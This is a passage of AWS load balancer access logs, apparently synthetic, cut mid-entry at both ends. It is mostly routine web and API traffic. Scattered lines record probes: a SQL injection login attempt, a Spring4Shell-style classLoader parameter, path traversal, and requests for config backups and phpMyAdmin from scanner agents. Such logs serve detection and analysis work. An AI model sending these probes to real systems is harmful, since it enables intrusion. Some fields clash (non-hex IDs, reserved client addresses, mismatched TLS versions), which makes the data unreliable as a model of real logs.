102.25.159.238:36498 10.0.7.150:443 0.026645 0.188142 0.088040 302 302 632 11682 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cea1-7c4149b0ea4141989a871a11" "prod-web-alb.example.com" "-" 7 2024-11-01T01:38:25.867366Z "forward" "-" "-" "10.0.7.150:443" "302" "-" "-" +https 2024-11-01T01:38:27.402007Z prod-web-alb 152.137.145.91:21436 10.0.124.216:443 0.086644 0.019366 0.070260 404 404 104 4764 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cea3-f5dcfc0ccf454ddc893c60a1" "prod-web-alb.example.com" "-" 8 2024-11-01T01:38:27.402007Z "forward" "-" "-" "10.0.124.216:443" "404" "-" "-" +https 2024-11-01T01:38:27.720619Z staging-alb 134.163.25.115:50299 187.142.14.3:443 0.096927 0.545203 0.032599 200 200 487 4678 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cea3-d21ef81a44f14885a226b9f2" "staging-alb.example.com" "-" 7 2024-11-01T01:38:27.720619Z "forward" "-" "-" "187.142.14.3:443" "200" "-" "-" +https 2024-11-01T01:38:29.427813Z staging-alb 63.134.109.206:53749 55.82.237.2:80 0.107791 0.151675 0.127118 301 301 952 3430 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cea5-a71518eab3da427a8b2431a9" "staging-alb.example.com" "-" 3 2024-11-01T01:38:29.427813Z "forward" "-" "-" "55.82.237.2:80" "301" "-" "-" +https 2024-11-01T01:38:31.133554Z prod-api-alb 71.214.253.222:32934 10.0.194.14:443 0.080424 0.334149 0.040270 200 200 570 13292 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cea7-e933be5c9f8f440b82cc698f" "prod-api-alb.example.com" "-" 5 2024-11-01T01:38:31.133554Z "forward" "-" "-" "10.0.194.14:443" "200" "-" "-" +https 2024-11-01T01:38:33.130283Z prod-api-alb 41.115.102.150:34403 10.0.45.162:443 0.045505 0.307940 0.003017 200 200 448 3357 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cea9-1756a26e75da4b769308e074" "prod-api-alb.example.com" "-" 5 2024-11-01T01:38:33.130283Z "forward" "-" "-" "10.0.45.162:443" "200" "-" "-" +https 2024-11-01T01:38:34.775165Z prod-api-alb 229.17.156.218:40505 10.0.56.182:443 0.069512 0.263187 0.093676 200 200 727 7647 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ceaa-9aeec2177c544319bc4170bf" "-" "-" 4 2024-11-01T01:38:34.775165Z "forward" "-" "-" "10.0.56.182:443" "200" "-" "-" +https 2024-11-01T01:38:36.456044Z prod-api-alb 36.115.20.124:62102 10.0.229.112:443 0.066557 0.411797 0.085986 200 200 937 12055 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceac-d915e8393d2b41329f802457" "prod-api-alb.example.com" "-" 1 2024-11-01T01:38:36.456044Z "forward" "-" "-" "10.0.229.112:443" "200" "-" "-" +https 2024-11-01T01:38:37.357141Z prod-web-alb 228.95.141.33:57215 10.0.87.157:443 0.009966 0.343992 0.080239 200 200 122 12142 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cead-0355fdf25a854c5a84e19df5" "prod-web-alb.example.com" "-" 9 2024-11-01T01:38:37.357141Z "forward" "-" "-" "10.0.87.157:443" "200" "-" "-" +https 2024-11-01T01:38:37.893763Z prod-web-alb 203.126.81.12:25422 10.0.36.73:443 0.075319 0.145648 0.056053 404 404 838 13328 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cead-1d6e350459e54ea0b8382240" "prod-web-alb.example.com" "-" 5 2024-11-01T01:38:37.893763Z "forward" "-" "-" "10.0.36.73:443" "404" "-" "-" +https 2024-11-01T01:38:38.496021Z staging-alb 227.47.171.195:11136 141.251.87.119:8080 0.042981 0.557066 0.086904 302 302 660 6737 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ceae-31d5477e8edf44189b5e4863" "staging-alb.example.com" "-" 10 2024-11-01T01:38:38.496021Z "forward" "-" "-" "141.251.87.119:8080" "302" "-" "-" +https 2024-11-01T01:38:40.476095Z prod-web-alb 35.109.251.215:32587 10.0.85.224:443 0.011730 0.443688 0.022601 200 200 42 13261 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ceb0-8c55ecf3c9b44a248ea54bb6" "prod-web-alb.example.com" "-" 7 2024-11-01T01:38:40.476095Z "forward" "-" "-" "10.0.85.224:443" "200" "-" "-" +https 2024-11-01T01:38:42.028230Z prod-api-alb 36.47.28.76:19661 10.0.160.93:443 0.053963 0.389119 0.070970 200 200 360 7289 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceb2-0d02ece41fb1486fbc577487" "prod-api-alb.example.com" "-" 2 2024-11-01T01:38:42.028230Z "forward" "-" "-" "10.0.160.93:443" "200" "-" "-" +https 2024-11-01T01:38:43.823592Z prod-api-alb 170.73.124.133:11549 10.0.157.59:443 0.092015 0.237444 0.023622 200 200 931 5675 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceb3-22eed78b262f4d88a102aa3d" "-" "-" 1 2024-11-01T01:38:43.823592Z "forward" "-" "-" "10.0.157.59:443" "200" "-" "-" +https 2024-11-01T01:38:44.541255Z staging-alb 193.27.228.17:57470 238.229.158.205:443 0.008417 0.290429 0.131658 500 500 619 7337 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ceb4-13d5e50dfc2b43f68ee018e5" "-" "-" 5 2024-11-01T01:38:44.541255Z "forward" "-" "-" "238.229.158.205:443" "500" "-" "-" +https 2024-11-01T01:38:45.287000Z prod-web-alb 75.47.230.147:51919 10.0.246.158:443 0.016695 0.413549 0.008265 302 302 526 745 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ceb5-eed44101bdf146358e7b0194" "prod-web-alb.example.com" "-" 2 2024-11-01T01:38:45.287000Z "forward" "-" "-" "10.0.246.158:443" "302" "-" "-" +https 2024-11-01T01:38:47.065812Z staging-alb 221.239.89.250:17476 66.178.105.93:80 0.047342 0.465317 0.077051 301 301 527 13400 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ceb7-e89cfa1c39cc476eb8fc3237" "staging-alb.example.com" "-" 3 2024-11-01T01:38:47.065812Z "forward" "-" "-" "66.178.105.93:80" "301" "-" "-" +http 2024-11-01T01:38:48.415027Z staging-alb 56.210.107.132:13878 9.253.199.224:443 0.141775 0.072290 0.072266 200 200 613 13532 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ceb8-a2f764ee4ee3448382451cda" "staging-alb.example.com" "-" 9 2024-11-01T01:38:48.415027Z "forward" "-" "-" "9.253.199.224:443" "200" "-" "-" +https 2024-11-01T01:38:48.726297Z prod-web-alb 45.155.205.156:52750 10.0.3.109:443 0.088118 0.358587 0.070580 500 500 379 10336 "GET /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ceb8-e094f4b7521541f88c06cd4b" "-" "-" 4 2024-11-01T01:38:48.726297Z "forward" "-" "-" "10.0.3.109:443" "500" "-" "-" +https 2024-11-01T01:38:49.533528Z staging-alb 66.252.35.98:46917 19.73.253.229:80 0.107859 0.044149 0.024122 200 200 841 10805 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ceb9-335818e9f9134d2db3eb2160" "staging-alb.example.com" "-" 9 2024-11-01T01:38:49.533528Z "forward" "-" "-" "19.73.253.229:80" "200" "-" "-" +http 2024-11-01T01:38:49.908483Z staging-alb 140.120.245.224:11612 222.177.127.236:80 0.076490 0.275415 0.049842 301 301 493 8337 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ceb9-87f7168afe9741ffb098d32a" "-" "-" 7 2024-11-01T01:38:49.908483Z "forward" "-" "-" "222.177.127.236:80" "301" "-" "-" +https 2024-11-01T01:38:50.016690Z prod-api-alb 193.27.228.79:32357 10.0.59.223:443 0.042624 0.014807 0.061361 301 301 450 4545 "POST /wp-config.php.bak HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceba-6592bd7ea5d34b98856833cb" "-" "-" 6 2024-11-01T01:38:50.016690Z "forward" "-" "-" "10.0.59.223:443" "301" "-" "-" +https 2024-11-01T01:38:51.745114Z prod-web-alb 55.181.107.147:17622 10.0.198.137:443 0.074756 0.043729 0.094779 302 302 412 4511 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cebb-56b3875bc96849659fb6adea" "prod-web-alb.example.com" "-" 7 2024-11-01T01:38:51.745114Z "forward" "-" "-" "10.0.198.137:443" "302" "-" "-" +https 2024-11-01T01:38:52.950231Z prod-web-alb 45.155.205.14:20931 10.0.17.140:443 0.036142 0.317212 0.055909 403 403 769 14955 "GET /static/../../secret HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cebc-3c418d68d1b841dbb7ebe365" "-" "-" 4 2024-11-01T01:38:52.950231Z "forward" "-" "-" "10.0.17.140:443" "403" "-" "-" +https 2024-11-01T01:38:54.603536Z prod-web-alb 162.151.11.2:44115 10.0.237.199:443 0.026411 0.314567 0.042889 200 200 249 4879 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cebe-5abc2e8a05824b979e7c868d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:38:54.603536Z "forward" "-" "-" "10.0.237.199:443" "200" "-" "-" +https 2024-11-01T01:38:54.871101Z staging-alb 166.66.131.38:59133 79.202.171.33:80 0.058965 0.534719 0.140825 200 200 391 14680 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cebe-cd8ca0b663d7492caecd3b8c" "-" "-" 10 2024-11-01T01:38:54.871101Z "forward" "-" "-" "79.202.171.33:80" "200" "-" "-" +https 2024-11-01T01:38:55.537779Z prod-web-alb 12.86.241.37:22209 10.0.121.193:443 0.087878 0.001515 0.004337 200 200 993 6758 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cebf-9ce41709e4664f86b3e363a4" "prod-web-alb.example.com" "-" 0 2024-11-01T01:38:55.537779Z "forward" "-" "-" "10.0.121.193:443" "200" "-" "-" +https 2024-11-01T01:38:56.530563Z prod-web-alb 110.41.140.159:32314 10.0.130.36:443 0.047901 0.118633 0.079695 200 200 312 9989 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cec0-41b860a32edc473783177f97" "prod-web-alb.example.com" "-" 6 2024-11-01T01:38:56.530563Z "forward" "-" "-" "10.0.130.36:443" "200" "-" "-" +http 2024-11-01T01:38:56.771097Z staging-alb 30.9.36.175:20940 212.72.198.247:443 0.002918 0.579665 0.049421 404 404 504 3219 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cec0-45045817226644fdb175d65f" "staging-alb.example.com" "-" 8 2024-11-01T01:38:56.771097Z "forward" "-" "-" "212.72.198.247:443" "404" "-" "-" +https 2024-11-01T01:38:57.984669Z staging-alb 161.244.10.243:60587 70.183.27.60:8080 0.034485 0.194436 0.094411 200 200 417 7959 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cec1-e6b1726243ca4bef8f8221ad" "staging-alb.example.com" "-" 2 2024-11-01T01:38:57.984669Z "forward" "-" "-" "70.183.27.60:8080" "200" "-" "-" +https 2024-11-01T01:38:58.375111Z prod-api-alb 14.52.98.130:10659 10.0.124.238:443 0.026109 0.444674 0.045241 301 301 258 11724 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cec2-b978bf899ac445559f5d9054" "prod-api-alb.example.com" "-" 7 2024-11-01T01:38:58.375111Z "forward" "-" "-" "10.0.124.238:443" "301" "-" "-" +https 2024-11-01T01:39:00.284276Z prod-web-alb 41.23.188.101:46169 10.0.75.212:443 0.009523 0.331350 0.088173 302 302 127 14405 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cec4-649bb725ca2d4f43a029172b" "prod-web-alb.example.com" "-" 4 2024-11-01T01:39:00.284276Z "forward" "-" "-" "10.0.75.212:443" "302" "-" "-" +https 2024-11-01T01:39:01.820249Z prod-web-alb 231.182.247.112:18947 10.0.92.97:443 0.032005 0.298208 0.017043 301 301 987 2877 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cec5-7b61da4701e44a73817fd1fb" "prod-web-alb.example.com" "-" 2 2024-11-01T01:39:01.820249Z "forward" "-" "-" "10.0.92.97:443" "301" "-" "-" +https 2024-11-01T01:39:02.096327Z prod-web-alb 193.27.228.197:51646 10.0.111.79:443 0.069404 0.197199 0.052827 403 403 33 13127 "GET /phpmyadmin HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cec6-365eafcf0605418898248182" "-" "-" 0 2024-11-01T01:39:02.096327Z "forward" "-" "-" "10.0.111.79:443" "403" "-" "-" +https 2024-11-01T01:39:03.469408Z prod-web-alb 222.145.76.199:19557 10.0.176.5:443 0.064547 0.055061 0.042716 302 302 377 9841 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cec7-d401ca26bf45415e920a1cf5" "prod-web-alb.example.com" "-" 7 2024-11-01T01:39:03.469408Z "forward" "-" "-" "10.0.176.5:443" "302" "-" "-" +https 2024-11-01T01:39:04.957002Z prod-api-alb 58.87.217.68:35159 10.0.60.90:443 0.036138 0.469613 0.063570 200 200 192 13210 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cec8-2f6297d99c354b9090cb3eca" "prod-api-alb.example.com" "-" 7 2024-11-01T01:39:04.957002Z "forward" "-" "-" "10.0.60.90:443" "200" "-" "-" +https 2024-11-01T01:39:05.097260Z prod-web-alb 250.87.176.171:24487 10.0.227.170:443 0.029903 0.475682 0.021181 302 302 563 8241 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cec9-08d75d5230204105a736a03e" "prod-web-alb.example.com" "-" 10 2024-11-01T01:39:05.097260Z "forward" "-" "-" "10.0.227.170:443" "302" "-" "-" +https 2024-11-01T01:39:06.029690Z staging-alb 35.203.45.29:57317 63.118.65.203:80 0.044899 0.240239 0.146157 302 302 828 6163 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ceca-2cc98cb9f138418dbf9e2dd3" "staging-alb.example.com" "-" 2 2024-11-01T01:39:06.029690Z "forward" "-" "-" "63.118.65.203:80" "302" "-" "-" +https 2024-11-01T01:39:07.401197Z staging-alb 31.202.245.131:11048 165.46.167.142:80 0.007094 0.118101 0.063938 301 301 911 12668 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cecb-88c4fad19a3a418c8a8d1cda" "staging-alb.example.com" "-" 8 2024-11-01T01:39:07.401197Z "forward" "-" "-" "165.46.167.142:80" "301" "-" "-" +https 2024-11-01T01:39:08.602033Z prod-api-alb 92.192.130.96:39008 10.0.29.57:443 0.027105 0.453598 0.019031 302 302 795 5153 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cecc-64c9c158d81e4245bd3d8c3b" "prod-api-alb.example.com" "-" 3 2024-11-01T01:39:08.602033Z "forward" "-" "-" "10.0.29.57:443" "302" "-" "-" +https 2024-11-01T01:39:08.964739Z prod-web-alb 104.52.123.186:14238 10.0.39.254:443 0.050187 0.074747 0.001548 200 200 427 2565 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cecc-a729dde3a82a4806be0b419f" "prod-web-alb.example.com" "-" 10 2024-11-01T01:39:08.964739Z "forward" "-" "-" "10.0.39.254:443" "200" "-" "-" +https 2024-11-01T01:39:10.687170Z prod-web-alb 28.11.31.101:37798 10.0.94.40:443 0.026751 0.459565 0.043418 200 200 578 8991 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cece-9e3b21daaed340f4ac46c958" "prod-web-alb.example.com" "-" 0 2024-11-01T01:39:10.687170Z "forward" "-" "-" "10.0.94.40:443" "200" "-" "-" +http 2024-11-01T01:39:12.111288Z staging-alb 22.177.128.14:27693 142.139.37.171:80 0.078005 0.204628 0.108322 200 200 328 12267 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ced0-114480ab0bf9498a9ebd4d38" "staging-alb.example.com" "-" 7 2024-11-01T01:39:12.111288Z "forward" "-" "-" "142.139.37.171:80" "200" "-" "-" +https 2024-11-01T01:39:13.201342Z prod-api-alb 19.122.170.61:26195 10.0.248.147:443 0.077747 0.162144 0.098783 302 302 36 9817 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ced1-8e68d9d9f63f4afeb0ca6072" "prod-api-alb.example.com" "-" 0 2024-11-01T01:39:13.201342Z "forward" "-" "-" "10.0.248.147:443" "302" "-" "-" +https 2024-11-01T01:39:14.461303Z prod-web-alb 37.197.74.31:20549 10.0.202.154:443 0.030687 0.277171 0.077279 200 200 302 6146 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ced2-c4b237bceb4c4488be1ce0ca" "prod-web-alb.example.com" "-" 1 2024-11-01T01:39:14.461303Z "forward" "-" "-" "10.0.202.154:443" "200" "-" "-" +https 2024-11-01T01:39:15.511558Z prod-web-alb 177.196.185.254:38913 10.0.88.192:443 0.056879 0.083066 0.013799 404 404 708 8638 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ced3-c21e49d0a6fc4ad78ba4ad55" "prod-web-alb.example.com" "-" 8 2024-11-01T01:39:15.511558Z "forward" "-" "-" "10.0.88.192:443" "404" "-" "-" +https 2024-11-01T01:39:15.841286Z prod-api-alb 233.125.125.199:12108 10.0.101.43:443 0.087650 0.194045 0.016347 200 200 31 6946 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ced3-763ffae30a3c49d98e414fd8" "prod-api-alb.example.com" "-" 10 2024-11-01T01:39:15.841286Z "forward" "-" "-" "10.0.101.43:443" "200" "-" "-" +https 2024-11-01T01:39:17.497332Z prod-api-alb 193.27.228.79:45205 10.0.163.189:443 0.068373 0.458974 0.095231 301 301 161 11162 "POST /phpmyadmin HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ced5-b1769e89e4c94db299f9c4e9" "-" "-" 3 2024-11-01T01:39:17.497332Z "forward" "-" "-" "10.0.163.189:443" "301" "-" "-" +http 2024-11-01T01:39:18.367828Z staging-alb 176.243.116.236:26579 32.251.12.252:80 0.071237 0.120540 0.012721 200 200 976 6863 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ced6-973925edc176418fb77c9fc0" "staging-alb.example.com" "-" 3 2024-11-01T01:39:18.367828Z "forward" "-" "-" "32.251.12.252:80" "200" "-" "-" +https 2024-11-01T01:39:19.060601Z prod-api-alb 107.182.177.197:32485 10.0.147.99:443 0.072398 0.206545 0.048004 200 200 414 5217 "GET /api/health 